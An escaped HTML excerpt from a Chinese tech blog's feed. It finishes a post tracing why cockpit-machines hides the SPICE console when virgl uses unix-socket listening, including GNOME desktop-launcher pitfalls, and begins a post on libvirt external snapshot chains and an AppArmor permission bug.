&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gunzip -c &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;cockpit&amp;#x2F;machines&amp;#x2F;index.js.gz &amp;gt; index.js
grep -o &amp;#x27;function wie(e){.\{0,900\}&amp;#x27; index.js
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;找到 &lt;code&gt;parseDumpxmlForConsoles()&lt;&#x2F;code&gt;（minified 后叫 &lt;code&gt;wie&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;function parseDumpxmlForConsoles(e) {
  let t = [], o = e.getElementsByTagName(&amp;quot;graphics&amp;quot;);
  if (o) for (let a = 0; a &amp;lt; o.length; a++) {
    let n = o[a], i = {
      type:      n.getAttribute(&amp;quot;type&amp;quot;),      &amp;#x2F;&amp;#x2F; &amp;quot;spice&amp;quot;
      port:      n.getAttribute(&amp;quot;port&amp;quot;),      &amp;#x2F;&amp;#x2F; socket 监听 → null
      tlsPort:   n.getAttribute(&amp;quot;tlsPort&amp;quot;),   &amp;#x2F;&amp;#x2F; null
      address:   n.getAttribute(&amp;quot;listen&amp;quot;),    &amp;#x2F;&amp;#x2F; null（listen 是子元素）
      autoport:  n.getAttribute(&amp;quot;autoport&amp;quot;),  &amp;#x2F;&amp;#x2F; null
    };
    i.type &amp;amp;&amp;amp; (i.autoport || i.address &amp;amp;&amp;amp; (i.port || i.tlsPort))
      ? t.push(i)   &amp;#x2F;&amp;#x2F; 属性齐全才收录
      : console.warn(&amp;quot;parseDumpxmlForConsoles(): mandatory properties are missing in dumpxml, found: &amp;quot; + JSON.stringify(i));
      &amp;#x2F;&amp;#x2F; socket 监听 → 走 warn 分支，整个 graphics 被丢弃！
  }
  &amp;#x2F;&amp;#x2F; ...console type=&amp;#x27;pty&amp;#x27;（串口）无条件收录
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而 Console 卡片的类型决策同样消费这份解析结果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;displays.find(c =&amp;gt; c.type == &amp;quot;spice&amp;quot;) ? &amp;quot;DesktopViewer&amp;quot;   &amp;#x2F;&amp;#x2F; Launch Remote Viewer 按钮
                                      : (hasSerial ? &amp;quot;SerialConsole&amp;quot; : null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gen-yin&quot;&gt;根因&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;virtio-gpu virgl 3D 加速要求 SPICE 使用 unix socket 监听&lt;&#x2F;strong&gt;（&lt;code&gt;&amp;lt;gl enable=&#x27;yes&#x27;&amp;gt;&lt;&#x2F;code&gt; 与 TCP listen 互斥，本地渲染语义），socket 监听时 &lt;code&gt;&amp;lt;graphics&amp;gt;&lt;&#x2F;code&gt; 元素属性上没有任何 &lt;code&gt;port&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;listen&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;autoport&lt;&#x2F;code&gt;；cockpit-machines 332 的 &lt;code&gt;parseDumpxmlForConsoles()&lt;&#x2F;code&gt; 只认这些属性，判定 &quot;mandatory properties are missing&quot; 后&lt;strong&gt;把整个 graphics 设备丢弃&lt;&#x2F;strong&gt;——于是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;图形 console 消失；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;displays&lt;&#x2F;code&gt; 里没有 spice 项 → &lt;code&gt;&quot;DesktopViewer&quot;&lt;&#x2F;code&gt; 类型不成立 → &lt;strong&gt;Launch Remote Viewer 按钮一起消失&lt;&#x2F;strong&gt;（两者共用同一份解析结果）；&lt;&#x2F;li&gt;
&lt;li&gt;落到 fallback → 只渲染 SerialConsole。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;浏览器 F12 的 Console 里能看到那条 warn 作为佐证。另外还有一层设计原因：&lt;code&gt;.vv&lt;&#x2F;code&gt; 文件需要 &lt;code&gt;host&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;port&lt;&#x2F;code&gt; 的 TCP 地址，remote-viewer 无法连接远程 unix socket，所以上游对 socket 监听就是按&quot;没有图形设备&quot;处理。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-an-qu-she&quot;&gt;方案取舍&lt;&#x2F;h1&gt;
&lt;p&gt;virgl 3D 加速与 cockpit 网页端图形 console &lt;strong&gt;不可兼得&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;cockpit 网页端&lt;&#x2F;th&gt;&lt;th&gt;virgl&lt;&#x2F;th&gt;&lt;th&gt;代价&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SPICE + TCP（去 gl）&lt;&#x2F;td&gt;&lt;td&gt;恢复 Launch viewer&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;关机重启生效&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VNC + TCP&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;内嵌 noVNC 直接看&lt;&#x2F;strong&gt;（唯一支持内嵌）&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;丢音频&#x2F;剪贴板&#x2F;USB 重定向&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;保持 SPICE socket + virgl（现状）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;只剩串口&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;图形入口改走 virt-viewer&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;最终选择保持现状，图形入口用 virt-viewer 直连（本地 unix socket，virgl 照常生效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virt-viewer -c qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system ubuntu.code
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;顺手加了个 zsh abbr（&lt;code&gt;dotfiles&#x2F;.my_abbr.d&#x2F;vm&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;abbr add --force --quiet view-vm=&amp;#x27;virt-viewer -c qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system&amp;#x27;
# view-vm ubuntu.code
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ru-kou-you-hua-desktop-qi-dong-qi-yu-gnome-ji-cheng-de-san-ge-keng&quot;&gt;入口优化：desktop 启动器与 GNOME 集成的三个坑&lt;&#x2F;h1&gt;
&lt;p&gt;图形入口从 cockpit 网页搬到 virt-viewer 后，为了顺手做了两层入口：终端里的 zsh abbr（上文 &lt;code&gt;view-vm&lt;&#x2F;code&gt;），以及桌面环境的启动器 &lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;applications&#x2F;local-vm.desktop&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Desktop Entry]
Name=local-vm
Comment=Connect to local VM via SPICE
Exec=virt-viewer -c qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system ubuntu.code
Type=Application
Terminal=false
Icon=virt-manager
Categories=System;X-Virtualization;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配这个文件的过程里踩了三个坑，都和&quot;改完为什么不生效&quot;有关。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keng-1-update-desktop-database-de-bao-cuo-shi-yan-wu-dan&quot;&gt;坑 1：&lt;code&gt;update-desktop-database&lt;&#x2F;code&gt; 的报错是烟雾弹&lt;&#x2F;h2&gt;
&lt;p&gt;改完文件跑了 &lt;code&gt;update-desktop-database&lt;&#x2F;code&gt;，输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;The databases in [&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;flatpak&amp;#x2F;exports&amp;#x2F;share&amp;#x2F;applications,
&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;flatpak&amp;#x2F;exports&amp;#x2F;share&amp;#x2F;applications, &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;share&amp;#x2F;applications,
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;applications, ...] could not be updated.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看起来像出错了，实际是&lt;strong&gt;不带参数时它会尝试更新所有 XDG 数据目录&lt;&#x2F;strong&gt;（含 &lt;code&gt;&#x2F;usr&#x2F;share&#x2F;applications&lt;&#x2F;code&gt; 等系统目录），普通用户没有写权限，列出来的就是这些；注意列表里&lt;strong&gt;没有&lt;&#x2F;strong&gt; &lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;applications&lt;&#x2F;code&gt;——用户目录是更新成功的。&lt;&#x2F;p&gt;
&lt;p&gt;更重要的是：这个命令维护的是 &lt;strong&gt;MIME 文件关联缓存&lt;&#x2F;strong&gt;，而 GNOME Shell 启动应用根本不查它。对一个没有 &lt;code&gt;MimeType=&lt;&#x2F;code&gt; 字段的启动器，跑了也是空转。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keng-2-zhen-zheng-jue-ding-exec-de-shi-gnome-shell-de-nei-cun-huan-cun&quot;&gt;坑 2：真正决定 Exec 的是 GNOME Shell 的内存缓存&lt;&#x2F;h2&gt;
&lt;p&gt;在 apps 里点图标，启动的还是&lt;strong&gt;旧的 Exec&lt;&#x2F;strong&gt;——文件明明已经改了、也没有同名 desktop 文件覆盖。原因：GNOME Shell 的应用列表（Activities 搜索、应用网格）来自 ShellAppSystem &lt;strong&gt;进程内存里的缓存&lt;&#x2F;strong&gt;，靠 inotify 增量感知文件变化；很多编辑器&quot;写临时文件 + rename&quot;的原子替换偶尔不会触发重扫。&lt;&#x2F;p&gt;
&lt;p&gt;三个&quot;缓存&quot;各管一摊，别再跑错命令：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;缓存&lt;&#x2F;th&gt;&lt;th&gt;管什么&lt;&#x2F;th&gt;&lt;th&gt;启动器场景相关吗&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;update-desktop-database&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;mimeinfo.cache&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;文件类型 → 程序&lt;strong&gt;关联&lt;&#x2F;strong&gt;（打开 .pdf 用谁）&lt;&#x2F;td&gt;&lt;td&gt;❌ 启动应用不查它&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GTK 图标缓存 (&lt;code&gt;gtk-update-icon-cache&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;td&gt;图标渲染&lt;&#x2F;td&gt;&lt;td&gt;❌ 只有图标不刷新时相关&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GNOME Shell 应用列表 (ShellAppSystem)&lt;&#x2F;td&gt;&lt;td&gt;搜索&#x2F;网格里&lt;strong&gt;显示什么、Exec 是什么&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅ 就是它没刷新&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;处理方法按代价排序：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 改 mtime 踢一脚 inotify
touch ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;applications&amp;#x2F;local-vm.desktop

# 2. 立刻想用：直接读文件启动，绕过 Shell 缓存（也是测试 desktop 文件的最快方式）
gio launch ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;applications&amp;#x2F;local-vm.desktop

# 3. 仍不生效 → 注销重登
#    Wayland 会话没有 Alt+F2 敲 r 重启 Shell 的能力，注销是唯一彻底重置方式
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;keng-3-categories-de-wei-zhu-ce-zhi&quot;&gt;坑 3：&lt;code&gt;Categories&lt;&#x2F;code&gt; 的未注册值&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;desktop-file-validate&lt;&#x2F;code&gt; 抓出的真问题：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;error: value &amp;quot;System;Virtualization;&amp;quot; for key &amp;quot;Categories&amp;quot; ... contains an
unregistered value &amp;quot;Virtualization&amp;quot;; values extending the format should start with &amp;quot;X-&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;桌面菜单规范维护着注册分类表，&lt;code&gt;Virtualization&lt;&#x2F;code&gt; 不在其中，自定义值必须 &lt;code&gt;X-&lt;&#x2F;code&gt; 前缀：改成 &lt;code&gt;Categories=System;X-Virtualization;&lt;&#x2F;code&gt; 后校验通过，&lt;code&gt;gio launch&lt;&#x2F;code&gt; 实测拉起 virt-viewer 进程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-mimetype-zi-duan-xie-bu-xie&quot;&gt;附：&lt;code&gt;MimeType=&lt;&#x2F;code&gt; 字段写不写？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;MimeType=&lt;&#x2F;code&gt; 声明&quot;这个应用能打开哪些类型的文件&#x2F;URL&quot;，是 desktop 文件接入文件关联系统的钩子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;双击 foo.pdf → 探测 MIME 类型 → 查 mimeinfo.cache（倒排索引）
→ 结合 ~&amp;#x2F;.config&amp;#x2F;mimeapps.list 的默认设置 → 决定用谁打开 + &amp;quot;打开方式&amp;quot;列表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;desktop 文件的 &lt;code&gt;MimeType=&lt;&#x2F;code&gt; 是&lt;strong&gt;能力声明&lt;&#x2F;strong&gt;（&quot;我能处理这些&quot;）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;mimeapps.list&lt;&#x2F;code&gt; 决定&lt;strong&gt;默认&lt;&#x2F;strong&gt;用谁；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;mimeinfo.cache&lt;&#x2F;code&gt; 只是加速反查的缓存（所以没有 &lt;code&gt;MimeType=&lt;&#x2F;code&gt; 的应用不会进这个索引）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;要不要写&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;纯启动器（本例 local-vm）&lt;&#x2F;td&gt;&lt;td&gt;❌ 不写，写了反而可能抢关联&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;文件处理器（编辑器、播放器）&lt;&#x2F;td&gt;&lt;td&gt;✅ 必须写，否则不进&quot;打开方式&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;协议处理器（浏览器、IDE）&lt;&#x2F;td&gt;&lt;td&gt;✅ 用 &lt;code&gt;x-scheme-handler&#x2F;…&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;local-vm.desktop&lt;&#x2F;code&gt; 的语义是&quot;连接到固定一台 VM 的动作&quot;，没有任何&quot;打开某类文件&quot;的含义，不写是正确姿势。哪天想让&quot;双击 &lt;code&gt;.vv&lt;&#x2F;code&gt; 文件就用 virt-viewer 打开&quot;，才需要给 virt-viewer 的 desktop 文件加 &lt;code&gt;MimeType=application&#x2F;x-virt-viewer;&lt;&#x2F;code&gt; 并跑一次 &lt;code&gt;update-desktop-database ~&#x2F;.local&#x2F;share&#x2F;applications&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gai-nian-bian-xi-virgl-virtio-gpu-spice-vnc&quot;&gt;概念辨析：virgl、virtio-gpu、SPICE、VNC&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;virtio-gpu&lt;&#x2F;strong&gt; 是一种半虚拟化显卡&lt;strong&gt;设备&lt;&#x2F;strong&gt;（&lt;code&gt;&amp;lt;video&amp;gt;&amp;lt;model type=&#x27;virtio&#x27;&#x2F;&amp;gt;&lt;&#x2F;code&gt;），有 2D（纯帧缓冲）和 3D 两种模式；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;virgl&lt;&#x2F;strong&gt; 是 virtio-gpu 的 3D 加速机制（宿主侧 virglrenderer 把 guest 的 OpenGL 命令转译给真实 GPU），开启需要 &lt;code&gt;video&#x2F;model&lt;&#x2F;code&gt; 的 &lt;code&gt;accel3d=&#x27;yes&#x27;&lt;&#x2F;code&gt; 与 SPICE 的 &lt;code&gt;gl enable=&#x27;yes&#x27;&lt;&#x2F;code&gt; 配合；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SPICE &#x2F; VNC&lt;&#x2F;strong&gt; 是图形传输协议（一台 VM 二选一）。SPICE 功能强（音频、剪贴板、USB 重定向、virgl 配套），但查看器基本只有 virt-viewer&#x2F;remote-viewer；VNC 生态最广、有浏览器端 noVNC，但没有任何加速与外设透传。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一句话：virtio-gpu 是显卡，virgl 是这块显卡的 3D 特性，SPICE 是把画面（含 3D 渲染结果）传出来的管道。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-ji-qiao-chen-dian&quot;&gt;排查技巧沉淀&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;先看最直接的数据源&lt;&#x2F;strong&gt;：前端渲染异常时，第一反应应该是 dump 出它消费的原始数据（本例是 &lt;code&gt;virsh dumpxml&lt;&#x2F;code&gt;），而不是从守护进程开始向上排查；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;busctl 直接调 D-Bus 方法&lt;&#x2F;strong&gt;可以一把绕过三层（前端&#x2F;bridge&#x2F;代理）验证服务端；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;模拟 cockpit-bridge 的 dbus-json3 通道&lt;&#x2F;strong&gt;：帧协议是 &lt;code&gt;&amp;lt;十进制长度&amp;gt;\n&amp;lt;channel&amp;gt;\n&amp;lt;payload&amp;gt;&lt;&#x2F;code&gt;，channel 为空行即控制消息，客户端必须先发 &lt;code&gt;{&quot;command&quot;:&quot;init&quot;,&quot;version&quot;:1,&quot;host&quot;:...}&lt;&#x2F;code&gt; 才能开通道，调用格式 &lt;code&gt;{&quot;id&quot;:..,&quot;call&quot;:[path,iface,method,args]}&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;前端 bundle 解包 grep&lt;&#x2F;strong&gt;：&lt;code&gt;gunzip -c index.js.gz&lt;&#x2F;code&gt; 后按函数特征（&lt;code&gt;getElementsByTagName(&quot;graphics&quot;)&lt;&#x2F;code&gt; 等）定位解析逻辑，比读源码仓库更快对应到实际部署版本。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;xiang-guan-yue-du&quot;&gt;相关阅读&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;10&#x2F;cockpit%E7%AE%A1%E7%90%86qemu%E8%99%9A%E6%8B%9F%E6%9C%BA&#x2F;&quot;&gt;cockpit管理qemu虚拟机&lt;&#x2F;a&gt;（virt-viewer 登录、SPICE 远程连接与 pybridge 断连 bug）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;virtiofs-enfile-diagnosis&#x2F;&quot;&gt;virtiofs ENFILE 排查&lt;&#x2F;a&gt;（同一台 VM 的另一段故事）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>libvirt 外部快照删除：从 QCOW2 链到 AppArmor 权限陷阱</title>
        <published>2026-10-09T20:31:38+08:00</published>
        <updated>2026-10-09T20:31:38+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/libvirt-external-snapshot-delete/"/>
        <id>https://vercel.juzhong.asia/2026/10/libvirt-external-snapshot-delete/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/libvirt-external-snapshot-delete/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;清理一台 Debian 13 宿主机上 &lt;code&gt;debian13&lt;&#x2F;code&gt; 虚拟机的快照链：它积累了 4～5 层外部快照（含两个带内存的完整快照），目标是合并到只保留两个纯磁盘快照。&lt;&#x2F;p&gt;
&lt;p&gt;过程中踩了两个坑：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;对运行中的 VM 误建了&lt;strong&gt;内部快照&lt;&#x2F;strong&gt;（不带 &lt;code&gt;--disk-only&lt;&#x2F;code&gt;），VM 被暂停、24G 内存写进了 qcow2，并发命令撞上域锁超时；&lt;&#x2F;li&gt;
&lt;li&gt;删除外部快照时报 &lt;code&gt;block-commit: Could not open &#x27;...&#x27;: Permission denied&lt;&#x2F;code&gt;，根因是 &lt;strong&gt;Debian 的 libvirt + AppArmor 已知 bug&lt;&#x2F;strong&gt;：动态生成的 profile 给只读 backing 层加了 &lt;code&gt;deny ... w&lt;&#x2F;code&gt;，而 block-commit 必须要写 backing 层。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;本文把外部快照链的原理、删除的真实机制、这两个坑的完整排查过程整理成文，后半部分附带 qcow2 &#x2F; blockcommit 的常用命令速查。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yi-wai-bu-kuai-zhao-lian-ji-chu&quot;&gt;一、外部快照链基础&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-1-qcow2-overlay-yu-backing-file&quot;&gt;1.1 QCOW2 overlay 与 backing file&lt;&#x2F;h2&gt;
&lt;p&gt;qcow2 支持 copy-on-write：以一个完整镜像为 &lt;strong&gt;backing file&lt;&#x2F;strong&gt;，在其上创建 &lt;strong&gt;overlay&lt;&#x2F;strong&gt;，overlay 只保存相对 backing 被改过的数据块。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 手动创建一层 overlay
qemu-img create -f qcow2 -b base.qcow2 -F qcow2 overlay.qcow2

# 查看整个 backing 链
qemu-img info --backing-chain overlay.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它是&lt;strong&gt;块级&lt;&#x2F;strong&gt; diff（簇，通常 64KiB）：读的时候 overlay 里没有的簇逐层向下穿透；写的时候以簇为单位分配到最顶层；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;qemu-img info&lt;&#x2F;code&gt; 里的 &lt;code&gt;disk size&lt;&#x2F;code&gt;（实际占用）和 &lt;code&gt;virtual size&lt;&#x2F;code&gt;（表观容量）是两回事，文件&quot;看起来 130G&quot;不等于要搬 130G 数据；&lt;&#x2F;li&gt;
&lt;li&gt;libvirt 对外部快照层的格式有要求：&lt;strong&gt;默认 qcow2&lt;&#x2F;strong&gt;，且只接受 qcow2 或 qed（源码 &lt;code&gt;qemuSnapshotPrepareDiskExternal&lt;&#x2F;code&gt; 里对格式做了白名单校验）。即使原盘是 raw，新建的快照层也会是 qcow2，raw 只当最底层的 backing。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-2-lian-shang-mei-ge-wen-jian-dao-di-zhuang-liao-shen-me&quot;&gt;1.2 链上每个文件到底装了什么&lt;&#x2F;h2&gt;
&lt;p&gt;这是最容易误会的地方。以实际的链为例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;[活动层 RW] debian13.snap-20261009-20      ← 该快照创建后至今的增量
   └── debian13.2026-10-09T09:37            ← 16:13~17:37 的增量
         └── debian13.2026-10-09T08:13      ← 9&amp;#x2F;16~10&amp;#x2F;9 的增量
               └── debian13.snap-20260916-10   ← 6&amp;#x2F;25~9&amp;#x2F;16 的增量
                     └── debian13.snap-20260625-17
                           └── debian13.qcow2   ← 原始数据（链底）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;libvirt 的命名规则是：创建快照时&lt;strong&gt;新建的 overlay 用快照名命名&lt;&#x2F;strong&gt;（文档：把原文件名最后一个点之后的部分替换为快照名）。&lt;&#x2F;p&gt;
&lt;p&gt;所以：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;名为快照 X 的文件不是 X 的还原数据&lt;&#x2F;strong&gt;，而是&quot;X 之后的新增写入&quot;；&lt;&#x2F;li&gt;
&lt;li&gt;X 的还原点 = 它对应文件&lt;strong&gt;下面&lt;&#x2F;strong&gt;的整条链的冻结内容（+ 内存文件，如果有）；&lt;&#x2F;li&gt;
&lt;li&gt;快照 XML 里的 &lt;code&gt;&amp;lt;domain&amp;gt;&lt;&#x2F;code&gt; 段记录的是&quot;创建快照前的 domain&quot;，其中磁盘 source 指向的才是快照数据所在的那层。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这解释了为什么删除快照时&quot;数据不会丢&quot;：删除做的是把文件里的增量合并进下层，链上的数据总和不变。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-3-nei-bu-kuai-zhao-vs-wai-bu-kuai-zhao&quot;&gt;1.3 内部快照 vs 外部快照&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;内部快照&lt;&#x2F;th&gt;&lt;th&gt;外部快照&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;存储位置&lt;&#x2F;td&gt;&lt;td&gt;当前 qcow2 文件内部（snapshot 表）&lt;&#x2F;td&gt;&lt;td&gt;每层一个独立 qcow2 文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;是否产生新文件&lt;&#x2F;td&gt;&lt;td&gt;否&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;运行中 VM + 内存&lt;&#x2F;td&gt;&lt;td&gt;写进 qcow2 内部，&lt;strong&gt;需要暂停 VM 且很慢&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;内存单独存 &lt;code&gt;.save&lt;&#x2F;code&gt; 文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;回滚&lt;&#x2F;td&gt;&lt;td&gt;依赖 qcow2 内部表&lt;&#x2F;td&gt;&lt;td&gt;创建新 overlay 指向链上某点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
